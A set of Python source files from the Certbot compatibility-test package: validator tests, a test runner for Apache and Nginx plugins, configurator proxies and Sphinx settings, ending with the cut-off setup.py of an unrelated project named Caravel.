    @mock.patch("certbot_compatibility_test.validator.requests.get")
    def test_hsts_empty(self, mock_get_request):
        mock_get_request.return_value = create_response(
            headers={"strict-transport-security": ""})
        self.assertFalse(self.validator.hsts("test.com"))

    @mock.patch("certbot_compatibility_test.validator.requests.get")
    def test_hsts_malformed(self, mock_get_request):
        mock_get_request.return_value = create_response(
            headers={"strict-transport-security": "sdfal"})
        self.assertFalse(self.validator.hsts("test.com"))

    @mock.patch("certbot_compatibility_test.validator.requests.get")
    def test_hsts_bad_max_age(self, mock_get_request):
        mock_get_request.return_value = create_response(
            headers={"strict-transport-security": "max-age=not-an-int"})
        self.assertFalse(self.validator.hsts("test.com"))

    @mock.patch("certbot_compatibility_test.validator.requests.get")
    def test_hsts_expire(self, mock_get_request):
        mock_get_request.return_value = create_response(
            headers={"strict-transport-security": "max-age=3600"})
        self.assertFalse(self.validator.hsts("test.com"))

    @mock.patch("certbot_compatibility_test.validator.requests.get")
    def test_hsts(self, mock_get_request):
        mock_get_request.return_value = create_response(
            headers={"strict-transport-security": "max-age=31536000"})
        self.assertTrue(self.validator.hsts("test.com"))

    @mock.patch("certbot_compatibility_test.validator.requests.get")
    def test_hsts_include_subdomains(self, mock_get_request):
        mock_get_request.return_value = create_response(
            headers={"strict-transport-security":
                     "max-age=31536000;includeSubDomains"})
        self.assertTrue(self.validator.hsts("test.com"))

    def test_ocsp_stapling(self):
        self.assertRaises(
            NotImplementedError, self.validator.ocsp_stapling, "test.com")


def create_response(status_code=200, headers=None):
    """Creates a requests.Response object for testing"""
    response = requests.Response()
    response.status_code = status_code

    if headers:
        response.headers = headers

    return response


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""Tests Certbot plugins against different server configurations."""
import argparse
import filecmp
import functools
import logging
import os
import shutil
import tempfile
import time
import sys

import OpenSSL

from acme import challenges
from acme import crypto_util
from acme import messages
from certbot import achallenges
from certbot import errors as le_errors
from certbot.tests import acme_util

from certbot_compatibility_test import errors
from certbot_compatibility_test import util
from certbot_compatibility_test import validator

from certbot_compatibility_test.configurators.apache import common as a_common
from certbot_compatibility_test.configurators.nginx import common as n_common


DESCRIPTION = """
Tests Certbot plugins against different server configurations. It is
assumed that Docker is already installed. If no test type is specified, all
tests that the plugin supports are performed.

"""

PLUGINS = {"apache": a_common.Proxy, "nginx": n_common.Proxy}


logger = logging.getLogger(__name__)


def test_authenticator(plugin, config, temp_dir):
    """Tests authenticator, returning True if the tests are successful"""
    backup = _create_backup(config, temp_dir)

    achalls = _create_achalls(plugin)
    if not achalls:
        logger.error("The plugin and this program support no common "
                     "challenge types")
        return False

    try:
        responses = plugin.perform(achalls)
    except le_errors.Error as error:
        logger.error("Performing challenges on %s caused an error:", config)
        logger.exception(error)
        return False

    success = True
    for i in xrange(len(responses)):
        if not responses[i]:
            logger.error(
                "Plugin failed to complete %s for %s in %s",
                type(achalls[i]), achalls[i].domain, config)
            success = False
        elif isinstance(responses[i], challenges.TLSSNI01Response):
            verify = functools.partial(responses[i].simple_verify, achalls[i].chall,
                                       achalls[i].domain,
                                       util.JWK.public_key(),
                                       host="127.0.0.1",
                                       port=plugin.https_port)
            if _try_until_true(verify):
                logger.info(
                    "tls-sni-01 verification for %s succeeded", achalls[i].domain)
            else:
                logger.error(
                    "tls-sni-01 verification for %s in %s failed",
                    achalls[i].domain, config)
                success = False

    if success:
        try:
            plugin.cleanup(achalls)
        except le_errors.Error as error:
            logger.error("Challenge cleanup for %s caused an error:", config)
            logger.exception(error)
            success = False

        if _dirs_are_unequal(config, backup):
            logger.error("Challenge cleanup failed for %s", config)
            return False
        else:
            logger.info("Challenge cleanup succeeded")

    return success


def _create_achalls(plugin):
    """Returns a list of annotated challenges to test on plugin"""
    achalls = list()
    names = plugin.get_testable_domain_names()
    for domain in names:
        prefs = plugin.get_chall_pref(domain)
        for chall_type in prefs:
            if chall_type == challenges.TLSSNI01:
                chall = challenges.TLSSNI01(
                    token=os.urandom(challenges.TLSSNI01.TOKEN_SIZE))
                challb = acme_util.chall_to_challb(
                    chall, messages.STATUS_PENDING)
                achall = achallenges.KeyAuthorizationAnnotatedChallenge(
                    challb=challb, domain=domain, account_key=util.JWK)
                achalls.append(achall)

    return achalls


def test_installer(args, plugin, config, temp_dir):
    """Tests plugin as an installer"""
    backup = _create_backup(config, temp_dir)

    names_match = plugin.get_all_names() == plugin.get_all_names_answer()
    if names_match:
        logger.info("get_all_names test succeeded")
    else:
        logger.error("get_all_names test failed for config %s", config)

    domains = list(plugin.get_testable_domain_names())
    success = test_deploy_cert(plugin, temp_dir, domains)

    if success and args.enhance:
        success = test_enhancements(plugin, domains)

    good_rollback = test_rollback(plugin, config, backup)
    return names_match and success and good_rollback


def test_deploy_cert(plugin, temp_dir, domains):
    """Tests deploy_cert returning True if the tests are successful"""
    cert = crypto_util.gen_ss_cert(util.KEY, domains)
    cert_path = os.path.join(temp_dir, "cert.pem")
    with open(cert_path, "w") as f:
        f.write(OpenSSL.crypto.dump_certificate(
            OpenSSL.crypto.FILETYPE_PEM, cert))

    for domain in domains:
        try:
            plugin.deploy_cert(domain, cert_path, util.KEY_PATH, cert_path, cert_path)
            plugin.save()  # Needed by the Apache plugin
        except le_errors.Error as error:
            logger.error("Plugin failed to deploy ceritificate for %s:", domain)
            logger.exception(error)
            return False

    if not _save_and_restart(plugin, "deployed"):
        return False

    success = True
    for domain in domains:
        verify = functools.partial(validator.Validator().certificate, cert,
                                   domain, "127.0.0.1", plugin.https_port)
        if not _try_until_true(verify):
            logger.error("Could not verify certificate for domain %s", domain)
            success = False

    if success:
        logger.info("HTTPS validation succeeded")

    return success


def test_enhancements(plugin, domains):
    """Tests supported enhancements returning True if successful"""
    supported = plugin.supported_enhancements()

    if "redirect" not in supported:
        logger.error("The plugin and this program support no common "
                     "enhancements")
        return False

    for domain in domains:
        try:
            plugin.enhance(domain, "redirect")
            plugin.save()  # Needed by the Apache plugin
        except le_errors.PluginError as error:
            # Don't immediately fail because a redirect may already be enabled
            logger.warning("Plugin failed to enable redirect for %s:", domain)
            logger.warning("%s", error)
        except le_errors.Error as error:
            logger.error("An error occurred while enabling redirect for %s:",
                         domain)
            logger.exception(error)

    if not _save_and_restart(plugin, "enhanced"):
        return False

    success = True
    for domain in domains:
        verify = functools.partial(validator.Validator().redirect, "localhost",
                                   plugin.http_port, headers={"Host": domain})
        if not _try_until_true(verify):
            logger.error("Improper redirect for domain %s", domain)
            success = False

    if success:
        logger.info("Enhancments test succeeded")

    return success


def _try_until_true(func, max_tries=5, sleep_time=0.5):
    """Calls func up to max_tries times until it returns True"""
    for _ in xrange(0, max_tries):
        if func():
            return True
        else:
            time.sleep(sleep_time)

    return False


def _save_and_restart(plugin, title=None):
    """Saves and restart the plugin, returning True if no errors occurred"""
    try:
        plugin.save(title)
        plugin.restart()
        return True
    except le_errors.Error as error:
        logger.error("Plugin failed to save and restart server:")
        logger.exception(error)
        return False


def test_rollback(plugin, config, backup):
    """Tests the rollback checkpoints function"""
    try:
        plugin.rollback_checkpoints(1337)
    except le_errors.Error as error:
        logger.error("Plugin raised an exception during rollback:")
        logger.exception(error)
        return False

    if _dirs_are_unequal(config, backup):
        logger.error("Rollback failed for config `%s`", config)
        return False
    else:
        logger.info("Rollback succeeded")
        return True


def _create_backup(config, temp_dir):
    """Creates a backup of config in temp_dir"""
    backup = os.path.join(temp_dir, "backup")
    shutil.rmtree(backup, ignore_errors=True)
    shutil.copytree(config, backup, symlinks=True)

    return backup


def _dirs_are_unequal(dir1, dir2):
    """Returns True if dir1 and dir2 are unequal"""
    dircmps = [filecmp.dircmp(dir1, dir2)]
    while len(dircmps):
        dircmp = dircmps.pop()
        if dircmp.left_only or dircmp.right_only:
            logger.error("The following files and directories are only "
                         "present in one directory")
            if dircmp.left_only:
                logger.error(dircmp.left_only)
            else:
                logger.error(dircmp.right_only)
            return True
        elif dircmp.common_funny or dircmp.funny_files:
            logger.error("The following files and directories could not be "
                         "compared:")
            if dircmp.common_funny:
                logger.error(dircmp.common_funny)
            else:
                logger.error(dircmp.funny_files)
            return True
        elif dircmp.diff_files:
            logger.error("The following files differ:")
            logger.error(dircmp.diff_files)
            return True

        for subdir in dircmp.subdirs.itervalues():
            dircmps.append(subdir)

    return False


def get_args():
    """Returns parsed command line arguments."""
    parser = argparse.ArgumentParser(
        description=DESCRIPTION,
        formatter_class=argparse.ArgumentDefaultsHelpFormatter)

    group = parser.add_argument_group("general")
    group.add_argument(
        "-c", "--configs", default="configs.tar.gz",
        help="a directory or tarball containing server configurations")
    group.add_argument(
        "-p", "--plugin", default="apache", help="the plugin to be tested")
    group.add_argument(
        "-v", "--verbose", dest="verbose_count", action="count",
        default=0, help="you know how to use this")
    group.add_argument(
        "-a", "--auth", action="store_true",
        help="tests the challenges the plugin supports")
    group.add_argument(
        "-i", "--install", action="store_true",
        help="tests the plugin as an installer")
    group.add_argument(
        "-e", "--enhance", action="store_true", help="tests the enhancements "
        "the plugin supports (implicitly includes installer tests)")

    for plugin in PLUGINS.itervalues():
        plugin.add_parser_arguments(parser)

    args = parser.parse_args()
    if args.enhance:
        args.install = True
    elif not (args.auth or args.install):
        args.auth = args.install = args.enhance = True

    return args


def setup_logging(args):
    """Prepares logging for the program"""
    handler = logging.StreamHandler()

    root_logger = logging.getLogger()
    root_logger.setLevel(logging.ERROR - args.verbose_count * 10)
    root_logger.addHandler(handler)


def main():
    """Main test script execution."""
    args = get_args()
    setup_logging(args)

    if args.plugin not in PLUGINS:
        raise errors.Error("Unknown plugin {0}".format(args.plugin))

    temp_dir = tempfile.mkdtemp()
    plugin = PLUGINS[args.plugin](args)
    try:
        overall_success = True
        while plugin.has_more_configs():
            success = True

            try:
                config = plugin.load_config()
                logger.info("Loaded configuration: %s", config)
                if args.auth:
                    success = test_authenticator(plugin, config, temp_dir)
                if success and args.install:
                    success = test_installer(args, plugin, config, temp_dir)
            except errors.Error as error:
                logger.error("Tests on %s raised:", config)
                logger.exception(error)
                success = False

            if success:
                logger.info("All tests on %s succeeded", config)
            else:
                overall_success = False
                logger.error("Tests on %s failed", config)
    finally:
        plugin.cleanup_from_tests()

    if overall_success:
        logger.warning("All compatibility tests succeeded")
        sys.exit(0)
    else:
        logger.warning("One or more compatibility tests failed")
        sys.exit(1)


if __name__ == "__main__":
    main()






"""Validators to determine the current webserver configuration"""
import logging
import socket
import requests
import zope.interface

from acme import crypto_util
from acme import errors as acme_errors
from certbot import interfaces


logger = logging.getLogger(__name__)


@zope.interface.implementer(interfaces.IValidator)
class Validator(object):
    # pylint: disable=no-self-use
    """Collection of functions to test a live webserver's configuration"""

    def certificate(self, cert, name, alt_host=None, port=443):
        """Verifies the certificate presented at name is cert"""
        host = alt_host if alt_host else socket.gethostbyname(name)
        try:
            presented_cert = crypto_util.probe_sni(name, host, port)
        except acme_errors.Error as error:
            logger.exception(error)
            return False

        return presented_cert.digest("sha256") == cert.digest("sha256")

    def redirect(self, name, port=80, headers=None):
        """Test whether webserver redirects to secure connection."""
        url = "http://{0}:{1}".format(name, port)
        if headers:
            response = requests.get(url, headers=headers, allow_redirects=False)
        else:
            response = requests.get(url, allow_redirects=False)

        if response.status_code not in (301, 303):
            return False

        redirect_location = response.headers.get("location", "")
        if not redirect_location.startswith("https://"):
            return False

        if response.status_code != 301:
            logger.error("Server did not redirect with permanent code")
            return False

        return True

    def hsts(self, name):
        """Test for HTTP Strict Transport Security header"""
        headers = requests.get("https://" + name).headers
        hsts_header = headers.get("strict-transport-security")

        if not hsts_header:
            return False

        # Split directives following RFC6797, section 6.1
        directives = [d.split("=") for d in hsts_header.split(";")]
        max_age = [d for d in directives if d[0] == "max-age"]

        if not max_age:
            logger.error("Server responded with invalid HSTS header field")
            return False

        try:
            _, max_age_value = max_age[0]
            max_age_value = int(max_age_value)
        except ValueError:
            logger.error("Server responded with invalid HSTS header field")
            return False

        # Test whether HSTS does not expire for at least two weeks.
        if max_age_value <= (2 * 7 * 24 * 3600):
            logger.error("HSTS should not expire in less than two weeks")
            return False

        return True

    def ocsp_stapling(self, name):
        """Verify ocsp stapling for domain."""
        raise NotImplementedError()






"""Certbot compatibility test interfaces"""
import zope.interface

import certbot.interfaces

# pylint: disable=no-self-argument,no-method-argument


class IPluginProxy(zope.interface.Interface):
    """Wraps a Certbot plugin"""
    http_port = zope.interface.Attribute(
        "The port to connect to on localhost for HTTP traffic")

    https_port = zope.interface.Attribute(
        "The port to connect to on localhost for HTTPS traffic")

    def add_parser_arguments(cls, parser):
        """Adds command line arguments needed by the parser"""

    def __init__(args):
        """Initializes the plugin with the given command line args"""

    def cleanup_from_tests():
        """Performs any necessary cleanup from running plugin tests.

        This is guaranteed to be called before the program exits.

        """

    def has_more_configs():
        """Returns True if there are more configs to test"""

    def load_config():
        """Loads the next config and returns its name"""

    def get_testable_domain_names():
        """Returns the domain names that can be used in testing"""


class IAuthenticatorProxy(IPluginProxy, certbot.interfaces.IAuthenticator):
    """Wraps a Certbot authenticator"""


class IInstallerProxy(IPluginProxy, certbot.interfaces.IInstaller):
    """Wraps a Certbot installer"""

    def get_all_names_answer():
        """Returns all names that should be found by the installer"""


class IConfiguratorProxy(IAuthenticatorProxy, IInstallerProxy):
    """Wraps a Certbot configurator"""






"""Certbot compatibility test"""






"""Certbot compatibility test configurators"""






"""Provides a common base for configurator proxies"""
import logging
import os
import shutil
import tempfile

from certbot import constants
from certbot_compatibility_test import errors
from certbot_compatibility_test import util


logger = logging.getLogger(__name__)


class Proxy(object):
    # pylint: disable=too-many-instance-attributes
    """A common base for compatibility test configurators"""

    @classmethod
    def add_parser_arguments(cls, parser):
        """Adds command line arguments needed by the plugin"""

    def __init__(self, args):
        """Initializes the plugin with the given command line args"""
        self._temp_dir = tempfile.mkdtemp()
        self.le_config = util.create_le_config(self._temp_dir)
        config_dir = util.extract_configs(args.configs, self._temp_dir)
        self._configs = [
            os.path.join(config_dir, config)
            for config in os.listdir(config_dir)]

        self.args = args
        self.http_port = 80
        self.https_port = 443
        self._configurator = self._all_names = self._test_names = None

    def __getattr__(self, name):
        """Wraps the configurator methods"""
        if self._configurator is None:
            raise AttributeError()

        method = getattr(self._configurator, name, None)
        if callable(method):
            return method
        else:
            raise AttributeError()

    def has_more_configs(self):
        """Returns true if there are more configs to test"""
        return bool(self._configs)

    def cleanup_from_tests(self):
        """Performs any necessary cleanup from running plugin tests"""

    def load_config(self):
        """Returns the next config directory to be tested"""
        shutil.rmtree(self.le_config.work_dir, ignore_errors=True)
        backup = os.path.join(self.le_config.work_dir, constants.BACKUP_DIR)
        os.makedirs(backup)
        return self._configs.pop()

    def copy_certs_and_keys(self, cert_path, key_path, chain_path=None):
        """Copies certs and keys into the temporary directory"""
        cert_and_key_dir = os.path.join(self._temp_dir, "certs_and_keys")
        if not os.path.isdir(cert_and_key_dir):
            os.mkdir(cert_and_key_dir)

        cert = os.path.join(cert_and_key_dir, "cert")
        shutil.copy(cert_path, cert)
        key = os.path.join(cert_and_key_dir, "key")
        shutil.copy(key_path, key)
        if chain_path:
            chain = os.path.join(cert_and_key_dir, "chain")
            shutil.copy(chain_path, chain)
        else:
            chain = None

        return cert, key, chain

    def get_all_names_answer(self):
        """Returns the set of domain names that the plugin should find"""
        if self._all_names:
            return self._all_names
        else:
            raise errors.Error("No configuration file loaded")

    def get_testable_domain_names(self):
        """Returns the set of domain names that can be tested against"""
        if self._test_names:
            return self._test_names
        else:
            return {"example.com"}

    def deploy_cert(self, domain, cert_path, key_path, chain_path=None,
                    fullchain_path=None):
        """Installs cert"""
        cert_path, key_path, chain_path = self.copy_certs_and_keys(
            cert_path, key_path, chain_path)
        self._configurator.deploy_cert(
            domain, cert_path, key_path, chain_path, fullchain_path)






"""Certbot compatibility test Nginx configurators"""






"""Provides a common base for Nginx proxies"""
import os
import shutil
import subprocess

import zope.interface

from certbot import configuration
from certbot_nginx import configurator
from certbot_nginx import constants
from certbot_compatibility_test import errors
from certbot_compatibility_test import interfaces
from certbot_compatibility_test import util
from certbot_compatibility_test.configurators import common as configurators_common


@zope.interface.implementer(interfaces.IConfiguratorProxy)
class Proxy(configurators_common.Proxy):
    # pylint: disable=too-many-instance-attributes
    """A common base for Nginx test configurators"""

    def __init__(self, args):
        """Initializes the plugin with the given command line args"""
        super(Proxy, self).__init__(args)

    def load_config(self):
        """Loads the next configuration for the plugin to test"""
        config = super(Proxy, self).load_config()
        self._all_names, self._test_names = _get_names(config)

        server_root = _get_server_root(config)

        # XXX: Deleting all of this is kind of scary unless the test
        #      instances really each have a complete configuration!
        shutil.rmtree("/etc/nginx")
        shutil.copytree(server_root, "/etc/nginx", symlinks=True)

        self._prepare_configurator()

        try:
            subprocess.check_call("service nginx reload".split())
        except errors.Error:
            raise errors.Error(
                "Nginx failed to load {0} before tests started".format(
                    config))

        return config

    def _prepare_configurator(self):
        """Prepares the Nginx plugin for testing"""
        for k in constants.CLI_DEFAULTS.keys():
            setattr(self.le_config, "nginx_" + k, constants.os_constant(k))

        conf = configuration.NamespaceConfig(self.le_config)
        zope.component.provideUtility(conf)
        self._configurator = configurator.NginxConfigurator(
            config=conf, name="nginx")
        self._configurator.prepare()


def _get_server_root(config):
    """Returns the server root directory in config"""
    subdirs = [
        name for name in os.listdir(config)
        if os.path.isdir(os.path.join(config, name))]

    if len(subdirs) != 1:
        raise errors.Error("Malformed configuration directory {0}".format(config))

    return os.path.join(config, subdirs[0].rstrip())


def _get_names(config):
    """Returns all and testable domain names in config"""
    all_names = set()
    for root, _dirs, files in os.walk(config):
        for this_file in files:
            for line in open(os.path.join(root, this_file)):
                if line.strip().startswith("server_name"):
                    names = line.partition("server_name")[2].rpartition(";")[0]
                    for n in names.split():
                        all_names.add(n)
    non_ip_names = set(n for n in all_names if not util.IP_REGEX.match(n))
    return all_names, non_ip_names






"""Certbot compatibility test Apache configurators"""






"""Provides a common base for Apache proxies"""
import os
import shutil
import subprocess

import mock
import zope.interface

from certbot import configuration
from certbot import errors as le_errors
from certbot_apache import configurator
from certbot_apache import constants
from certbot_compatibility_test import errors
from certbot_compatibility_test import interfaces
from certbot_compatibility_test import util
from certbot_compatibility_test.configurators import common as configurators_common


@zope.interface.implementer(interfaces.IConfiguratorProxy)
class Proxy(configurators_common.Proxy):
    # pylint: disable=too-many-instance-attributes
    """A common base for Apache test configurators"""

    def __init__(self, args):
        """Initializes the plugin with the given command line args"""
        super(Proxy, self).__init__(args)
        self.le_config.apache_le_vhost_ext = "-le-ssl.conf"

        self.modules = self.server_root = self.test_conf = self.version = None
        patch = mock.patch(
            "certbot_apache.configurator.display_ops.select_vhost")
        mock_display = patch.start()
        mock_display.side_effect = le_errors.PluginError(
            "Unable to determine vhost")

    def load_config(self):
        """Loads the next configuration for the plugin to test"""
        config = super(Proxy, self).load_config()
        self._all_names, self._test_names = _get_names(config)

        server_root = _get_server_root(config)
        shutil.rmtree("/etc/apache2")
        shutil.copytree(server_root, "/etc/apache2", symlinks=True)

        self._prepare_configurator()

        try:
            subprocess.check_call("apachectl -k restart".split())
        except errors.Error:
            raise errors.Error(
                "Apache failed to load {0} before tests started".format(
                    config))

        return config

    def _prepare_configurator(self):
        """Prepares the Apache plugin for testing"""
        for k in constants.CLI_DEFAULTS_DEBIAN.keys():
            setattr(self.le_config, "apache_" + k, constants.os_constant(k))

        # An alias
        self.le_config.apache_handle_modules = self.le_config.apache_handle_mods

        self._configurator = configurator.ApacheConfigurator(
            config=configuration.NamespaceConfig(self.le_config),
            name="apache")
        self._configurator.prepare()

    def cleanup_from_tests(self):
        """Performs any necessary cleanup from running plugin tests"""
        super(Proxy, self).cleanup_from_tests()
        mock.patch.stopall()


def _get_server_root(config):
    """Returns the server root directory in config"""
    subdirs = [
        name for name in os.listdir(config)
        if os.path.isdir(os.path.join(config, name))]

    if len(subdirs) != 1:
        errors.Error("Malformed configuration directory {0}".format(config))

    return os.path.join(config, subdirs[0].rstrip())


def _get_names(config):
    """Returns all and testable domain names in config"""
    all_names = set()
    non_ip_names = set()
    with open(os.path.join(config, "vhosts")) as f:
        for line in f:
            # If parsing a specific vhost
            if line[0].isspace():
                words = line.split()
                if words[0] == "alias":
                    all_names.add(words[1])
                    non_ip_names.add(words[1])
                # If for port 80 and not IP vhost
                elif words[1] == "80" and not util.IP_REGEX.match(words[3]):
                    all_names.add(words[3])
                    non_ip_names.add(words[3])
            elif "NameVirtualHost" not in line:
                words = line.split()
                if (words[0].endswith("*") or words[0].endswith("80") and
                        not util.IP_REGEX.match(words[1]) and
                        words[1].find(".") != -1):
                    all_names.add(words[1])
    return all_names, non_ip_names






# -*- coding: utf-8 -*-
#
# certbot-compatibility-test documentation build configuration file, created by
# sphinx-quickstart on Sun Oct 18 13:40:53 2015.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

import sys
import os
import shlex


here = os.path.abspath(os.path.dirname(__file__))

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
sys.path.insert(0, os.path.abspath(os.path.join(here, '..')))

# -- General configuration ------------------------------------------------

# If your documentation needs a minimal Sphinx version, state it here.
needs_sphinx = '1.0'

# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
    'sphinx.ext.autodoc',
    'sphinx.ext.intersphinx',
    'sphinx.ext.todo',
    'sphinx.ext.coverage',
    'sphinx.ext.viewcode',
    'repoze.sphinx.autointerface',
]

autodoc_member_order = 'bysource'
autodoc_default_flags = ['show-inheritance', 'private-members']

# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']

# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'

# The encoding of source files.
#source_encoding = 'utf-8-sig'

# The master toctree document.
master_doc = 'index'

# General information about the project.
project = u'certbot-compatibility-test'
copyright = u'2014-2015, Let\'s Encrypt Project'
author = u'Certbot Project'

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = '0'
# The full version, including alpha/beta/rc tags.
release = '0'

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = 'en'

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']

# The reST default role (used for this markup: `text`) to use for all
# documents.
default_role = 'py:obj'

# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'

# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []

# If true, keep warnings as "system message" paragraphs in the built documents.
#keep_warnings = False

# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = True


# -- Options for HTML output ----------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.

# http://docs.readthedocs.org/en/latest/theme.html#how-do-i-use-this-locally-and-on-read-the-docs
# on_rtd is whether we are on readthedocs.org
on_rtd = os.environ.get('READTHEDOCS', None) == 'True'
if not on_rtd:  # only import and set the theme if we're building docs locally
    import sphinx_rtd_theme
    html_theme = 'sphinx_rtd_theme'
    html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]
# otherwise, readthedocs.org uses their theme by default, so no need to specify it

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}

# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []

# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
#html_title = None

# A shorter title for the navigation bar.  Default is the same as html_title.
#html_short_title = None

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None

# The name of an image file (within the static path) to use as favicon of the
# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']

# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#html_extra_path = []

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True

# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}

# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}

# If false, no module index is generated.
#html_domain_indices = True

# If false, no index is generated.
#html_use_index = True

# If true, the index is split into individual pages for each letter.
#html_split_index = False

# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True

# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True

# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''

# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None

# Language to be used for generating the HTML full-text search index.
# Sphinx supports the following languages:
#   'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'
#   'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr'
#html_search_language = 'en'

# A dictionary with options for the search language support, empty by default.
# Now only 'ja' uses this config value
#html_search_options = {'type': 'default'}

# The name of a javascript file (relative to the configuration directory) that
# implements a search results scorer. If empty, the default will be used.
#html_search_scorer = 'scorer.js'

# Output file base name for HTML help builder.
htmlhelp_basename = 'certbot-compatibility-testdoc'

# -- Options for LaTeX output ---------------------------------------------

latex_elements = {
    # The paper size ('letterpaper' or 'a4paper').
    #'papersize': 'letterpaper',

    # The font size ('10pt', '11pt' or '12pt').
    #'pointsize': '10pt',

    # Additional stuff for the LaTeX preamble.
    #'preamble': '',

    # Latex figure (float) alignment
    #'figure_align': 'htbp',
}

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
#  author, documentclass [howto, manual, or own class]).
latex_documents = [
    (master_doc, 'certbot-compatibility-test.tex',
     u'certbot-compatibility-test Documentation',
     u'Certbot Project', 'manual'),
]

# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False

# If true, show page references after internal links.
#latex_show_pagerefs = False

# If true, show URL addresses after external links.
#latex_show_urls = False

# Documents to append as an appendix to all manuals.
#latex_appendices = []

# If false, no module index is generated.
#latex_domain_indices = True


# -- Options for manual page output ---------------------------------------

# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
    (master_doc, 'certbot-compatibility-test',
     u'certbot-compatibility-test Documentation',
     [author], 1)
]

# If true, show URL addresses after external links.
#man_show_urls = False


# -- Options for Texinfo output -------------------------------------------

# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
#  dir menu entry, description, category)
texinfo_documents = [
    (master_doc, 'certbot-compatibility-test',
     u'certbot-compatibility-test Documentation',
     author, 'certbot-compatibility-test',
     'One line description of project.', 'Miscellaneous'),
]

# Documents to append as an appendix to all manuals.
#texinfo_appendices = []

# If false, no module index is generated.
#texinfo_domain_indices = True

# How to display URL addresses: 'footnote', 'no', or 'inline'.
#texinfo_show_urls = 'footnote'

# If true, do not generate a @detailmenu in the "Top" node's menu.
#texinfo_no_detailmenu = False


intersphinx_mapping = {
    'python': ('https://docs.python.org/', None),
    'acme': ('https://acme-python.readthedocs.org/en/latest/', None),
    'certbot': ('https://certbot.eff.org/docs/', None),
    'certbot-apache': (
        'https://letsencrypt-apache.readthedocs.org/en/latest/', None),
    'certbot-nginx': (
        'https://letsencrypt-nginx.readthedocs.org/en/latest/', None),
}






import imp
import os
from setuptools import setup, find_packages

version = imp.load_source(
    'version', os.path.join('caravel', 'version.py'))

setup(
    name='caravel',
    description=(
        "A interactive data visualization platform build on SqlAlchemy "
        "and druid.io"),
    version=version.VERSION_STRING,
    packages=find_packages(),
    include_package_data=True,
    zip_safe=False,
    scripts=['caravel/bin/caravel'],
    install_requires=[
        'cryptography==1.4',
        'flask-appbuilder==1.8.1',
        'flask-cache==0.13.1',
        'flask-migrate==1.5.1',
        'flask-script==2.0.5',
        'flask-testing==0.5.0',
        'flask-sqlalchemy==2.0',
        'humanize==0.5.1',
        'gunicorn==19.6.0',
        'markdown==2.6.6',
        'pandas==0.18.1',
        'parsedatetime==2.0.0',
        'pydruid==0.3.0',
        'python-dateutil==2.5.3',
        'requests==2.10.0',
        'simplejson==3.8.2',
        'six==1.10.0',
        'sqlalchemy==1.0.13',
        'sqlalchemy-utils==0.32.7',
        'sqlparse==0.1.19',
        'werkzeug==0.11.10',
    ],
    extras_require={
        'cors': ['Flask-Cors>=2.0.0'],
    },
    tests_require=[
        'codeclimate-test-reporter',
        'coverage',
        'mock',
        'nose',
    ],
    author='Maxime Beauchemin',
    author_email='maximebeauchemin@gmail.com',
    url='https://github.com/airbnb/caravel',
    download_url=(
        'https://github.com/airbnb/caravel/tarball/' + version.VERSION_STRING),
    classifiers=[
